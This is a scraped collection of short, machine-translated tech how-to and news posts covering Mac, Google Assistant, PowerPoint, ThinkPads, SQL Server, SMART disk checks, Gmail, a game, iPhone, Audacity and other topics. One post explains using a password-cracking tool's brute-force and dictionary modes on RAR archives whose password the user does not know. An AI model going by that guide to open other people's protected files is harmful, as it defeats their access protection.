Click the \"Source\" menu. You'll see several different option.\n  Click the source you want to use. There are a few different choices:[2] Your recent photo events will be listed at the top. There are several premade collections you can choose from. You can click \"Choose Folder\" to select a specific folder of photos. Click \"Photo Library\" to browse all of your photo albums.   Check the \"Shuffle slide order\" box if you'd like. This will shuffle the photos from the source you selected.\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXqiedGapZ2nnWK8s7DEq2Ssm6Kasq%2B%2FwK%2Bcq2Wfo3qiecyamg%3D%3D\n","link":"/post/how-to-set-a-random-order-screensaver-on-a-mac/","section":"post","tags":null,"title":"How to Set a Random Order Screensaver on a Mac"},{"body":"On December 12, Google Assistant updated the Interpreter mode to all Android and iOS devices, translating conversations instantly. Accordingly Google supports 44 different languages, and translates the conversation in a separate command. Users only need to speak the original language and Google Assistant will translate it into the language you want.\nReal-time translation of conversations in real time is becoming a trend in today's technology world, when this feature helps solve many problems of language barrier, especially when you are traveling. This live translation feature is available on Google Translate and you can now use it on Google Assistant. The following article will guide you how to enable the Interpreter mode on Google Assistant.\nHow to use Vietnamese virtual assistant Google Assistant on Android Useful Vietnamese Google Assistant commands you can use How to install the Google Assistant on your Windows computer Instructions to install Vietnamese virtual assistant on iPhone How to enable Interpreter mode on Google Assistant Step 1:\nOpen Google Assistant on your device, then tap the compass icon at the bottom right of the screen. Switch to the new interface, type in the search bar for translation words and click on the found results.\nStep 2:\nShortly after that Google Assistant will open the translation page, click Try it to experience the Interpreter feature. Displays the interface so we can order Google Assistant. Here you can just say \"Hey Google, translate . for me\" or use the keyboard to type the original word and translate it into other languages ​​if the surroundings are not quiet, it is difficult for Google Assistant to hear your voice.\nEven words that have been translated have speaker symbols so that we can hear the pronunciation of the virtual assistant. If you travel, it is very handy feature.\nAdding conversation translation feature directly to Google Assistant helps users quickly translate while talking, without opening the Google Translate app. The number of languages ​​that Google Assistant supports translates quite a lot, so you can easily use it.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0uMCtnGaZXZi8r8LEq6qarJmku267zWaeqKeXobJurdKsoKyskaPB\n","link":"/post/how-to-translate-a-conversation-on-google-assistant/","section":"post","tags":null,"title":"How to translate a conversation on Google Assistant"},{"body":"PowerPoint's disappearance effect is a common motion effect while making a slide. For you to create the disappearance effect or the functions surrounding this effect, TipsMake.com will talk more about the disappearance effect of PowerPoint.\nTo be able to clarify the disappearance effect, you can preview the animation below:\n  The animation above consists of three parts (one word and two images) that all use a gradual disappearing effect to show the inserts in the background.\nFirst, to assign disappearing motion effects to photos or text, you need to click on it, then open the ribbon Animations on the toolbar.\n  Here, you can choose the disappearing motion for the selected text element or image in the Animation group .\nYou choose the motion disappears in the Exit section (the above two items are movement that appears and displays).\n  After assigning motion to the component, click Animation Pane in the Advanced Animation group .\n  You will see the Animation Pane column displayed along the right side of the PowerPoint interface.\nHere you can see all the motion lists included in your current slide. You can optionally edit the various properties of the motion such as the starting time of the motion, the delay time of the motion after \"the beginning of the motion\", the time to perform the entire motion. along with some other options.\nInside:\n- Time to start moving is:\nStart On Click : Start the motion after you click.\nStart With Previous : Start at the same time with the previous motion in the list.\nStart After Previous : Start right after the previous motion in the execution list.\n- Delay time:\nYou can adjust it in the Timing section of the options list next to it. Or you can adjust that time on the Timing group Delay in the Animaitons ribbon .\n- Time to perform the entire motion:\nYou can adjust it in the Timing section of the options list next to it. Or you can adjust that time on the Timing group Delay in the Animaitons ribbon .\n  Next, you continue to insert elements such as images and other text on your slides, arrange them a reasonable position and also assign motion as the above method.\nNow you may notice that the animation list of Animation Pane is more than one. These lists are numbered and sorted from top to bottom, the order of running the disappearance effect will also be based on these arrangements.\n  You can change the sort order by clicking and holding the mouse and dragging it to the position you want. For example, TipsMake.com wants the disappearing motion of the word to be done at the end so it will drag it to the bottom of the list.\n  Click on each one to change to Start After Previous so that the movements can be performed in succession.\n  After the installation is complete, you can click outside (so that you do not click on any of the movements in the list) and click Play All to be able to see all the disappearing dynamic stories that you have Setting.\n  Thank you for reading and following the article How to use the vanish effect in our PowerPoint TipsMake.com. Wish you can understand and successfully implement this trick.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqltdKap6mdkae2r7OMnp2fnZOpwG61zWanqK%2BVp72wtc2t\n","link":"/post/how-to-use-disappearing-effects-in-powerpoint/","section":"post","tags":null,"title":"How to use disappearing effects in PowerPoint"},{"body":"Lenovo has introduced a series of upgraded products in three ThinkPads including T-series, X-series and L-series, with many notable advantages to realize the ambition to dominate the laptop business market.\nInnovation can be seen right from the name of the product. Previously, the names of ThinkPads would start with a letter, followed by a 3-digit number (such as T490), where the first digit represents the screen size, the second digit represent the third generation, and the number indicates the variant. However, in the new products, the name of the ThinkPad laptop will be shortened significantly, with the first letter specifying the series code and followed by a 2-digit number representing the screen size.\nThe T-series is the best-selling ThinkPad series and is known as the 'master' product of the ThinkPad brand. Therefore, Lenovo has introduced three new ThinkPad T models at the same time, including T14, T14S and T15. All are equipped with Intel's latest Comet Lake processor with vPro options (although Comet Lake vPro has not been officially announced by Intel). In addition, users can also choose the T14 and T14S variants with AMD's Ryzen PRO 4000 processor if desired.\n  The ThinkPad T14, T14S and T5 will still support the same 4K Dolby Vision display option as before. In addition, all three models will also have Wi-Fi 6, Cat 16 gigabit LTE, Modern Standby, and Wake on Voice.\nThe T14 will start at $ 849, the T14S will be $ 1,029 and the T15 will be $ 1,079.\nNext is the ThinkPad X-series. Both the new X13 and X13 Yoga will be powered by next-generation Intel Comet Lake vPro processors. The X13 may come with the AMD Ryzen PRO 4000 option, and the X13 Yoga has a special version with a 4K OLED screen. (The regular version will own a 1080p FHD screen with Lenovo's proprietary Privacy Guard technology.)\n  The price of the ThinkPad X13 will start at $ 849, while the X13 Yoga will start at $ 1,099.\nThe ThinkPad L14 and L15 are the latest L-series products. There will still be new generation options for Comet Lake vPro or Ryzen PRO 4000 processors, along with support for Wi-Fi 6, Cat 16 LTE, Windows Hello and Privacy Guard .\n  The ThinkPad L14 is priced at $ 649 for the lowest version, while the L15 will start at $ 649.\nAll new ThinkPad models are expected to officially go on sale globally in the second quarter of this year.\nncG1vNJzZmismaXArq3KnmWcp51kuaa6zq%2BmZqSRqruktMSsZK2gopqybrrEsGStoJmjuLGtw2arZrBdlrulectmqp6qmZrAbsPIrZ9mpZGjxm66zq2Ym6SVYq6lwsCnq5qflag%3D\n","link":"/post/lenovo-launches-three-new-thinkpad-t-x-and-l-series-with-many-notable-advantages/","section":"post","tags":null,"title":"Lenovo launches three new ThinkPad T, X and L series with many notable advantages"},{"body":"Microsoft Paint - aka Paint - can also be used to quickly add text to images. It's not the most advanced drawing/drawing software out there, but is loved by fans around the world.\nThe first version of MS Paint was introduced by developer Microsoft with the first version of Windows, Windows 1.0, in 1985. It has been included in all versions of Microsoft Windows since then, including Windows 10. The program has undergone various updates to include more advanced features as Windows PCs evolve. The biggest update comes with the release of Windows 7.\nDownload the latest Microsoft Paint here\n  Thanks to its simplicity and ease of use, as well as the fact that Paint is available on every Windows machine, the tool quickly became one of the most used applications in the early versions of Windows.\nPaint is currently not being phased out but is no longer actively being updated.\nIs MS Paint free? MS Paint is completely free and available on Windows PCs. If you do not have Paint on your computer, installing the application is also very simple. Just download and run the .exe file, then MS Paint will automatically open.\nUsers with the latest version of Windows 10 might want to try refreshing Microsoft's classic Paint app with Paint 3D. It includes both basic and advanced art tools to create not only unique 2D artworks but also 3D objects.\nThere is no Microsoft Paint for Mac application. Mac users should download Paintbrush, a lightweight and user-friendly painting program for macOS.\n  What is MS Paint used for? Microsoft Paint is a simple raster graphics editor. It opens and saves files in Windows bitmap (BMP), JPEG, GIF, PNG and single-page TIFF formats. The program can be in color or black and white mode, but not in grayscale.\nThe main features of MS Paint include simple drawing tools that you can use to easily draw on a blank canvas or an existing image. Additionally, Paint includes crop, resize, rotate, and selection tools for deeper manipulation of images.\nPaint is a simple to use program that offers very few advanced features. It's really easy to use, even for newbies. The user interface is uncomplicated with tools on the left side and vertical menus at the top. Tooltips provide instructions for the user, but in reality, you don't really need them.\nThe joy of using Paint is simply experimenting with tools and seeing how you can create works of art. With a few swipes, drags, and clicks, you can create interesting arrangements of colorful shapes. You can erase sections, paint and draw freehand lines, and add effects and airbrush text in a variety of fonts. You can even add a partially transparent background.\nDo this on a blank canvas or on an imported image and then set it as your desktop image. Although the tools available in Paint are limited, the results can be very high, depending on the user's imagination. Plus, there are plenty of articles on how to do some amazingly creative things with MS Paint (see links at the end of the article).\nOf course, Paint is not suitable for those who want to design complex graphics. Some alternatives worth considering include Photoscape, GIMP, and Krita. All of them have advanced tools but are still user-friendly.\nHow to open Microsoft Paint   1. In the search box next to Start on the taskbar, type paint and then select the Paint application from the list of results.\n2. If you have the latest version of Windows 10 and want to try something new, open Paint 3D which has the new 2D and 3D tools. It's free and ready to use.\nAdvantages\nVery simple to use Offers a wide range of tools without overwhelming the user Wide selection of colors and fonts Can create surprisingly sophisticated works of art Bring back good memories for early computer users Defect\nNo longer updated Limited tools and functions Does not support other operating systems Does not support multiple layers No filters or editing options Displays only in 2D with no 3D options ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYr2itc2tZJ2np6O5sK3DZquhnV2hrrWx0q1kpqGTp7y0u8WtZKmZmaPBbrTEq5w%3D\n","link":"/post/microsoft-paint-download-the-latest-microsoft-paint-here/","section":"post","tags":null,"title":"Microsoft Paint - Download the latest Microsoft Paint here"},{"body":"The rar files downloaded on the internet when unzipped require a password but you do not know the password of the rar file. Or the winrar file that you set the password but do not remember. You don't know how to extract those files.\nWinrar Password Cracker is software that helps you recover passwords of Winrar files quickly and effectively.\n  The following article will guide you how to recover and recover the Winrar file password with the Winrar Password Cracker software.\nStep 1: You need to download and install Winrar Password Cracker.\nStep 2: Open the Winrar Password Cracker interface after the installation is completed.\nOn the main interface, click Open File above or Open File in the middle of the interface.\n  The Open a file dialog box appears, select the rar file to recover the password and click Open .\n  Step 3: You choose the methods of the program to perform password recovery in Recovery Method . There are 3 methods:\n- Auto: the program automatically selects the methods to find the password.\n- Brute-force: combine all possible characters to search for a password. If the password is long and difficult, then this option will be very time consuming.\n- Dictionary: the program combines words from the dictionary to find the password. Matches either a passphrase or a word.\n  Or you can install recovery in the Recovery Settings section .\n  Recovery Settings dialog box appears, select the options such as: password length, characters in the password . to help recover the password faster.\n  Step 4: After the setup is complete, click Start at the top of the menu, or Start Recovery in the middle of the interface to start the recovery process, recover the password.\n  After successful results will be displayed on the interface.\nThe article has instructed the steps to recover, recover password of Winrar file by using Winrar Password Cracker software. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kv6avzq%2Bcq2WimrCwwsSrZK2glWK%2For6MqZisq6ekv6V51qKroWWnnruzrdFmp5qro6y8s7CMnKmam5uavw%3D%3D\n","link":"/post/recover-recover-the-rar-password-with-winrar-password-cracker/","section":"post","tags":null,"title":"Recover, recover the Rar password with Winrar Password Cracker"},{"body":"The computer J2300, designed in the 1990s by Hewlett Packard, the world's largest IT group, is dedicated to technical experts, so its functions and prices (each time comes up 20,000 USD) not for ordinary users.\nLooking back on 60 years of miraculous development of hard drives today Experience in buying new laptops for students Check out the video below to know why Hewlett Packard J2300 has such a \"sky price\".\nAs a laptop-oriented device, Hewlett Packard J2300 has a mouse device attached to the device, called pop-up mouse. The mouse can work even if you don't put it on a flat surface.\n  When it started, it let out a growl that sounded like a pump, you could even hear the floppy drive running.\nAs technology develops, the computer market changes, this \"laptop\" becomes \"backward\" and doesn't help much when running Windows 95, 16 MB RAM, 100 MHz Intel 486 DX4 CPU and drive. Hard to have 1.6 GB. It was quickly \"shelved\".\nncG1vNJzZmismaXArq3KnmWcp51kwKaxjK2fnmWdpLu0wMSrZKGdp6GytcCMqZico5GnsW62kWxnaWWnna61ecCrnGasmJp6enzSZqOaqKSkvbR5wKebZq%2BYlsFur8CnZJudXZm8r7GMrZ%2BarF2YvLTAjK6nZqyfYn9xfI9p\n","link":"/post/see-the-monster-hewlett-packard-j2300-what-are-the-90s-laptops-and-what-can-be-done-that-cost-up-to-20-000/","section":"post","tags":null,"title":"See the 'monster' Hewlett Packard J2300, what are the 90s laptops and what can be done that cost up to $ 20,000"},{"body":"If you follow the technology news, you probably heard about 5G, the next generation of wireless technology for mobile networks, but you might not know about 10G broadband, advertised at the show. CES this year.\nThe following article will cover everything you need to know about 10G - what 10G is, who develops it, and when you can expect it to launch.\nBasics of 10G 10G is a new piece of broadband network technology that, in theory, will allow speeds greater than 10Gbps on cable Internet networks. 10Gbps is 10 times faster than 5G and 700 times faster than the US average internet speed of about 18Mbps.\nBehind 10G is CableLabs, with the new DOCSIS 4.0 standard that could allow Internet providers to offer 10Gbps network speeds on existing cabling systems.\n10G is not related to 5G. You should not confuse 10G with 10GE Ethernet or 10Gb (this is the standard Ethernet cable that provides a maximum speed of 10Gbps).\nIf this technology succeeds in allowing cable providers to increase the maximum Internet speed they can deliver over existing high-quality fiber optic networks, then you will probably hear more about it throughout. the rest of 2020.\nWhat is WiFi 6? Also appearing at CES 2020 is WiFi 6, the next-generation WiFi protocol that analysts predict will soon be widely used.\nWiFi 6 is very interesting because of its potential to solve one of the most important problems today with WiFi: Support for multiple devices connected to the same signal. This issue has become more noticeable in recent years, as smartphones and smart devices have become more popular, increasing the number of devices connected to the same router or hotspot.\nFor more information about WiFi 6, refer to the article: Learn about Wi-Fi 6.\nThe launch of 10G and Wi-Fi 6 Both 10G and WiFi 6 have a wide range of appearances at CES 2020. WiFi 6 is more like a standard upgrade than the previous version of the WiFi standard, while the new 10G connection will allow suppliers Cable increases the maximum Internet speed they can provide.\nUsers will probably continue to hear more about both of these concepts this year, as WiFi 6-compatible routers become increasingly popular and cable networks begin to try out 10G technology.\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZrGfqnqvscSdZK2nXaC7sMOMmpmoraRifnGz\n","link":"/post/things-you-need-to-know-about-10g/","section":"post","tags":null,"title":"Things you need to know about 10G"},{"body":"The execution plan is created using the Query Optimizer with the help of statistics, the Algebrizer / process tree . That's the Query Optimizer result and shows how your work is done.\nThere are 2 types of plans that are Estimated and Actual .\nThe estimated plan shows the most optimal view. The actual plan shows what the query is and how it performs. The execution plan is saved on the Plan Cache for reuse. Each plan is saved once unless the optimizer decides to perform parallel execution of the query.\nThere are 3 execution plan formats in SQL Server - Graphical Plan , Text Plan and XML Plan (Marked language format).\nSHOWPLAN is required (Permisson) required if users want to see the execution plan.\nExample 1\nBelow is the process to see the estimated execution plan.\nStep 1 - Connect to the SQL Server installation. In this case is TESTINSTANCE as shown in the picture below.\n  Open the SQL Server installation\nStep 2 - Select the database name (in this case TestDB) then click New Query and write the query below.\n Select * from StudentTable    Write a new query\nStep 3 - Click the red highlighted icon in the image above to open the estimated execution plan as shown below.\n  Estimated execution plan\nStep 4 - Place the mouse pointer on the Table Scan (the second icon in the red frame of the image above) to see the detailed estimated execution plan. The screen below will appear.\n  Detailed plan estimates\nExample 2\nThis is the process to see the actual execution plan\nStep 1 and Step 2 as in example 1.\n  Create a new query to see the actual execution plan\nStep 3 - Click the red circled icon in the image above to open the actual execution plan as shown below.\n  Actual execution plan in SQL Server\nStep 4 - Place your mouse pointer on the Table Scan (the second icon in the red frame of the image above) to see a detailed implementation plan. The screen below will appear.\n  Detailed execution plan\nStep 5 - Finally click Results in the top left corner of the screen above.\nPrevious article: Reporting service in MS SQL Server\nNext article: Integrated services in MS SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ksrmxwq6roqeeYr2trc2sZJ6wlZjCtbXOp2SppJGjeqq6jKaqZquhoXq0sdGvnKs%3D\n","link":"/post/execution-plans-execution-plan-in-ms-sql-server/","section":"post","tags":null,"title":"Execution Plans - Execution plan in MS SQL Server"},{"body":"The hard drive uses SMART (Self-Monitoring, Analysis, and Reporting Technology - Self-monitoring, analysis and reporting technology) to evaluate its own reliability and determine whether it has any problems. You can see SMART data and see if it starts to generate problems.\n3 ways to check hard drive effectively to help periodically check the hard drive The hard drive does not exist forever and you often cannot realize that your hard drive is about to fail. Fortunately, most modern drives support SMART, so at least users can perform some basic self-monitoring steps. However, Windows does not have a built-in SMART data display tool for hard drives. You can view SMART status from Command Prompt, but to really see this information, you will need to install third-party applications. Now let's look at the details in the following article!\nCheck SMART status with CrystalDiskInfo CrystalDiskInfo (free) is an easy-to-use open source program that can display details of SMART status reported on your hard drive. You can download the portable version if you want.\nWhen you launch CrystalDiskInfo, you will find this is a fairly simple application. This tool mainly shows SMART status information about your hard drive. If everything works normally, you will see the 'Good' status displayed. In the picture below, right below the menu bar, you can see that all three drives in the system are taken as an example of \" Good \" status and you can even see the temperature of each drive. Other states you may see include \" Bad \" (usually indicating a dead or nearly dead drive), \" Caution \" (denoting a drive that you should consider backing up and replacing) and \" Unknown \" \"(only means that SMART information cannot be obtained).\n  You can also see a list of detailed information about each drive, but unless you are a professional or you are troubleshooting something very specific, that may not mean much to you. However, if you are interested, the Wikipedia page for SMART will provide a list of these properties, along with a specific explanation for each attribute.\nThere is really not much information about the application, but there is another remarkable feature indicated. If you are particularly concerned about the status of the drive, you can install CrystalDiskInfo to get started with Windows and run it as a background application. While it is running this way, CrystalDiskInfo sends a notification to alert you, if the SMART state has any changes. Just open the ' Function ' menu and turn on the ' Resident ' and ' Startup ' options.\n  Check SMART status at Command Prompt You can also view SMART status from Windows Command Prompt. To open the Command Prompt, click Start, type ' Command Prompt ,' and then press Enter .\n  At Command Prompt, enter (or copy and paste) the following command, then press Enter :\n wmic diskdrive get status    If everything works normally, you'll see the ' OK ' status displayed for each hard drive on your system. Other states, such as ' Bad ' , ' Caution ' or ' Unknown ' , can indicate problems with your drive or error accessing SMART information.\n5 ways to hard drive 'live' longer Help if dead hard drive If the SMART state indicates that your hard drive has errors, it doesn't necessarily mean that your hard drive will have problems right away. However, if there is a SMART error, assume that your hard drive is going to be broken is not a bad idea. A complete collapse can come in a few minutes, a few months, or - in some cases - even a few years. However, no matter how long it lasts, you should not trust the faulty hard drive containing your important data.\nFix 'hard drive' death hard drive Make sure you have up-to-date backups of all files stored on another medium, such as an external hard drive or optical drive. Obviously, this is good advice whether you know the SMART state of the drive or not. Problems, including drive errors, can occur at any time and without any warning. After backing up the files properly, you should consider replacing your hard drive as soon as possible. You simply can't trust a hard drive that doesn't pass the SMART test. Even if your hard drive isn't completely dead, it can damage parts of the data. You can also consider using the Chkdsk tool in Windows to diagnose and fix any related issues that it can find.\nOf course, the hardware is not perfect and the hard drive may fail without any SMART alerts. However, in some cases, SMART can give you some warnings before your hard drive has problems.\nSee more:\n6 ways to fix Windows computer laptop failed to boot Use DiskPart to format and clean up your removable hard drive on Windows 10 How to regain access to the hard drive, fix errors that cannot open the hard drive ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCseceaqZ1llKe2t7GMrKuarKWoeri106FkrKWRp8E%3D\n","link":"/post/how-to-check-hard-drive-status-with-smart/","section":"post","tags":null,"title":"How to check hard drive status with SMART"},{"body":"On Emai (Email), there are many service providers for you such as Gmail and Outlook. Basically, Gmail and Outlook use the same way. Another important feature on Gmail is sending emails to many people at the same time to save time for users. In this article, Software Tips will guide you How to send email to many people at the same time on Gmail, Outlook.\n  In this article, Software Tips will guide on Gmail, for other email such as Yahoo, Outlook, . you do the same.\n1. Email multiple people at the same time basically How to send mail to many people at the same time is very simple. You proceed to compose mail on Gmail normally. Then in the box to you proceed to enter the email address that you want to send mail to. After each Email, you press Enter to continue to enter the next Email.\n  If you already have a list of email addresses, you can copy and paste directly here to save time.\nINSERT PHOTO GIF\n2. Email multiple people at once using CC and BCC If you do not know the function of CC and BCC, please refer to the reading below.\nhttp://TipsMake.vn/cc-va-bcc-trong-gmail-la-gi/\nHow to Email multiple people at the same time using CC You proceed to compose a new email normally and you select CC on the toolbar.\n  Instead of filling in the Email address to send to the To box, you enter the Email address into the CC box.\n  Then you proceed to send a letter and draft the letter as normal mail.\nHow to Email multiple people at the same time using BCC Similar to how to send Email to many CC users. You select the BCC icon on the toolbar.\n  Then you proceed to enter the email addresses of the people you want to send to.\n  How to Email many people using both CC and BCC If you need to use both CC and BCC then you use this method to divide up who needs to receive CC Email and who needs to receive BCC Email.\nYou click on both BCC and CC on the toolbar then proceed to fill in the Email address that you need to send mail to here.\n  Then you proceed to send a letter and draft the letter as normal mail.\nSo Software tips have shown you how to send emails to many people at the same time quickly and simply. You can apply the same on other email services such as Yahoo, OutLook, . Wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2dlratecyuo62hoKGybrzEqKelnV2WwW7Ax55krJmdmnq1tcyeZKimXZy6orXL\n","link":"/post/how-to-email-multiple-people-at-the-same-time-on-gmail/","section":"post","tags":null,"title":"How to email multiple people at the same time on Gmail"},{"body":"Stranded Deep is a wild island survival game released on January 23, 2016. You will play the role of a survivor of a plane crash and be washed into a deserted island somewhere on the sea. Pacific. Your task is to survive the longest way possible.\nTo do so, the first thing you need to do is to create your own tools to survive, as well as to build shelter. The following article will show you how to make furniture and build in Stranded Deep survival game.\nDownload Stranded Deep game\nHow to make furniture in Stranded Deep Crafting is an in-game technique that allows you to create objects and tools to exploit the island's resources.\nYou will always be in Crafting mode unless you are building a house with a hammer. Items that can be used to make them will be flashing orange.\nDragging is the main technique used to crafting . You can drag any object that is usable by holding the right mouse button. Then drag all the necessary objects into a group to create objects.\nAfter you have gathered all the necessary items to make, there will be a notice icon appear. Holding the left mouse button on the icon, you will see a small table appear, including all the options you can make.\n  Below is a table showing some things you can create:\nCrude Knife :\n  Crude Ax (Rough Ax) :\n  Crude Hammer :\n  Spear Crude :\n  Campfire (Small campfire) :\n  Fire Pit :\n  Fire Spit (Cooking skewers) :\n  Way to build in Stranded Deep Building is an in-game technique that allows you to build things like houses using available resources.\nTo activate the building mode, you need to hold on to Hammer (Hammer) or Crude Hammer (Rough Hammer) . Items that can be used to build will flash in blue. Using Building techniques is quite similar to using Crafting techniques. You group items that can be rebuilt and a screen will appear with a notice icon.\nHolding the left mouse button on the icon, you will see a small table appear, including all the options you can build.\nBelow is a table showing some things you can build:\nShelter : To build a house, you will need to build the Foundation first. Foundation can be expanded with Supports (House column) , Wall (Wall) and Roof (Roof) .\nRaft (House construction) : Same as the formula for building Foundation but must be placed in the water.\n  Foundation (Foundation):\n  \nSupports (House column) :\n  Wall (Wall) :\n  Roof (Roof) :\n  Steps :\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJustSrpaKspaeybq3NnWSbrZmhsW61zWaqraqRo7GmsIydnJ6oXajCs8LIr5ilZZeWuqY%3D\n","link":"/post/how-to-make-furniture-and-build-in-stranded-deep-survival-game/","section":"post","tags":null,"title":"How to make furniture and build in Stranded Deep survival game"},{"body":"To resize images, you can use photo resize services online. With Android and iOS devices, different photo editing applications are needed. However, if you only need to change the image size, you can use Siri Shortcuts application on iPhone.\nSiri Shortcuts will install Resize Image shortcut to resize one or more photos at once in the photo album. This will greatly reduce the size of the image, increase the storage capacity on the iPhone. You only need to do it once and can change the size of a series of photos. The following article will show you how to resize photos on iPhone.\nHow to mass edit photos on iPhone? In this way, resizing images in bulk will not take much effort as before Instructions for resizing images in Windows 10 series Instructions for resizing multiple photos on iPhone Step 1:\nUsers install Siri Shortcuts application according to the link below.\nDownload Siri Shortcuts Next go to the address below to install Resize Image .\n https://www.icloud.com/shortcuts/14bc1867cdad42ab97c95fdef00a0a48  Step 2:\nIn the first interface, click Select Get shortcut . Back to Library section on Siri Shortcuts application will see shortcut Resize Image. Click on the 3 dots icon to change the shortcut configuration\n   Step 3:\nSwitch to the configuration view to select Picture Select . If you want to adjust and select multiple photos at once, enable Select multiple items .\n  Step 4:\nContinue dragging down the Resize section to have the Width and Height section . Click select and will display the activation menu, press Ask when running .\n   Next click on the installation icon in the top right corner. Here the user can change the shortcut name, shortcut icon if desired. Finally when setting up the shortcut for Resize Image press the Done button to save it.\n   Step 5:\nTo use Resize Image, you can run it right from the widget interface , or you can open Siri Shortcuts application. Press 2 and click OK to run Resize Image.\n   Step 6:\nNow the user will be asked to select the image in the library. Select the images you want to resize and click Done above.\n   Step 7:\nDisplay interface resizing image.Enter the image size in the Width and Height section. Press the Done button to apply. Click Save image below to proceed with resizing and saving photos.\nNow the shortcut will ask if you want to delete the original original image, click OK. If you press Cancel, the original image will still be retained in the gallery.\nThe new image will be added to the photo album on the device and the old size photo will be deleted, if the user chooses not to keep the original image.\n    Reducing the image size on the iPhone will reduce the amount of storage images, partly increasing the capacity for the device. However, users should note, select images with the same size to reduce at the same time, avoid the case that some smaller images will be blurred when zoomed out.\nSee more:\nThe best free photo editing software on your computer 15 best photo editing apps for Android These framed art apps for phones I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLa7sYypn6isn6h6sLqMoqehp56aeq6t0qw%3D\n","link":"/post/how-to-resize-photos-on-iphone-mass/","section":"post","tags":null,"title":"How to resize photos on iPhone mass"},{"body":"When you download files from other websites to your computer, it is necessary to use virus scanning software to check the safety of the file, to avoid viruses from entering your computer. ZipeZip is an online scanning site for Zip, Rar, etc., alerting you if the file has a problem before you unzip and install it. We do not need to register for an account that can be used to scan Zip, rar, etc., the viruses below will guide you how to scan zip, rar files for viruses on ZipeZip.\nInstructions for scanning compressed files virus on ZipeZip Step 1:\nUsers access the homepage of ZipeZip by following the link below.\nhttps://zipezip.com/  At the interface of the page click on Select file to download the compressed file contained in the computer. The website supports downloading compressed files up to 200MB in size. Then we click Upload to upload the file to the server.\n  Step 2:\nImmediately after that the file was checked and scanned for viruses. The time it takes for a file to be scanned or slow depends on the size of the file it has uploaded.\nResults show with the first 3 levels of alerts. If a file has a red exclamation mark symbol (Threat) which is very dangerous and threatens the safety of your computer, there is a yellow question mark symbol (Cautions) that is suspicious, need to be careful when installing and if the file has a green tick (Clean) icon, that file is completely safe.\n  If your compressed file has many files, then the website will type each file, and then you can choose to download the file safely to your computer. The site will save files on the server for a few hours before deleting so you can reload as needed. Link to access the file above.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquTlrtuwsirrKxllp65pr%2BMs6CpZaKWv27DyK2fZrKZpbK7tc8%3D\n","link":"/post/how-to-scan-virus-files-zip-rar-with-zipezip/","section":"post","tags":null,"title":"How to scan virus files ZIP, RAR with ZipeZip"},{"body":"Are you trying to play back an audio file to find the hidden messages behind it? Whatever the reason, this guide demonstrates how to invert audio in Audacity on any Windows computer or device.\nNote : This tutorial was created in Windows 11, but the steps are the same in Windows 10.\nDownload and install Audacity on your PC or Windows device The first thing you need to do to play back the audio is to download the Audacity program.\n  Audacity is a free program designed to help you work with audio files and perform audio editing. This is an open source tool, so anyone can use it completely free of charge. No extra costs, ads or any limitations.\nDownload the latest version of Audacity that is compatible with your Windows device here, then install it. Installation is simple, so just click or tap Yes in the UAC window and follow the instructions in the setup wizard.\n  Open the song you want to reverse in Audacity After installing Audacity on your computer, launch it to see the welcome message. Close the 'Welcome to Audacity!' message window . If you don't want to close the welcome message every time you open Audacity, first select the 'Don't show this again at startup' option .\n  Open the File menu in the top left corner, then click or tap Open.\nTIP : Alternatively, you can also use the keyboard shortcut Ctrl + O .\n  Browse your Windows computer or device to find the song you want to reverse. When you find it, select and click Open.\n  Audacity will immediately load the selected song, as shown below.\nTIP : You can also drag and drop a song onto Audacity's window to load it.\n  How to invert audio in Audacity Now that the audio file is loaded in Audacity, open the Select menu from the upper left corner, then click All to select the entire song. Note that you can achieve the same result by pressing Ctrl + A on your keyboard.\n  Once the entire track is selected, open the Effect menu from the top of the window and look for the Reverse option . Click it.\n  When Audacity finishes reversing the song, you can listen to the preview. Use the play controls from the top left part of the window to click Play.\n  If you're satisfied with the results, move on to the next step of this tutorial to save the reversed song.\nSave the reversed song If you want to play the song you reversed using another media player without using Audacity, you should save the new audio file. Open the File menu again , go to Export , then click the Export Audio option .\n  Audacity opens an Export Audio window that allows you to choose where to save the song on your computer, the name, format, and encoding of the song. Choose a location and name that you see fit, but pay a little more attention to the file type and encoding you want to use. The safest choice you can make is to use the defaults: File type is WAV (Microsoft) and encoding is 'Signed 16 bit PCM' .\nThe resulting file works on any Windows computer, regardless of the operating system version, but the downside is that you get a rather large file. However, in order to use another file format, you may find that you must also have the appropriate audio codec installed on your system. When you're done, click the Save button .\n  Before saving the result, Audacity allows you to edit its metadata. Make any changes you want, then click OK.\n  Audacity saves your song in a new reverse at the location you specified.\nHope you are succesful.\nAudacity How to Use Audacity ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiwcOamqKsqWLBsHnRnq2eqqOaeqLBw6KmZqGeYsSqusOorqw%3D\n","link":"/post/how-to-use-audacity-to-reverse-audio-in-windows/","section":"post","tags":null,"title":"How to use Audacity to reverse audio in Windows"},{"body":"OnePlus is the most popular and sought-after phone line after Android because of its beautiful design, outstanding features and perfect hardware. The specs of this phone can make other Android phones shame. And recently, they released the OnePlus 6 in many parts of the world. You can find out more about the OnePlus 6 phone on its homepage.\nAnd as always, the OnePlus 6 has an amazing new set of wallpapers. This phone model uses 4K and 2K wallpaper sets. Extremely beautiful wallpaper and a familiar slogan \"Never Settle\". According to news published on XDA forums, the wallpaper is specially designed to highlight the beauty of the borderless screen and does not affect the icons.\n  If you do not want to wait for these wallpapers to be available online, you can download them from dropbox and enjoy them on your old OnePlus phone or (basically) on any device. However, these wallpapers have a very high resolution, so low-end smartphones won't be able to handle them properly or the device will be slow.\nDownload the OnePlus 6 wallpaper here. Downloaded files are wallpapers in JPEG format at different resolutions. You must choose the resolution that is appropriate for your phone. OnePlus 6 wallpapers are available at 2K and 4K screen resolutions and you can easily use them on any device, including iPhone, Samsung 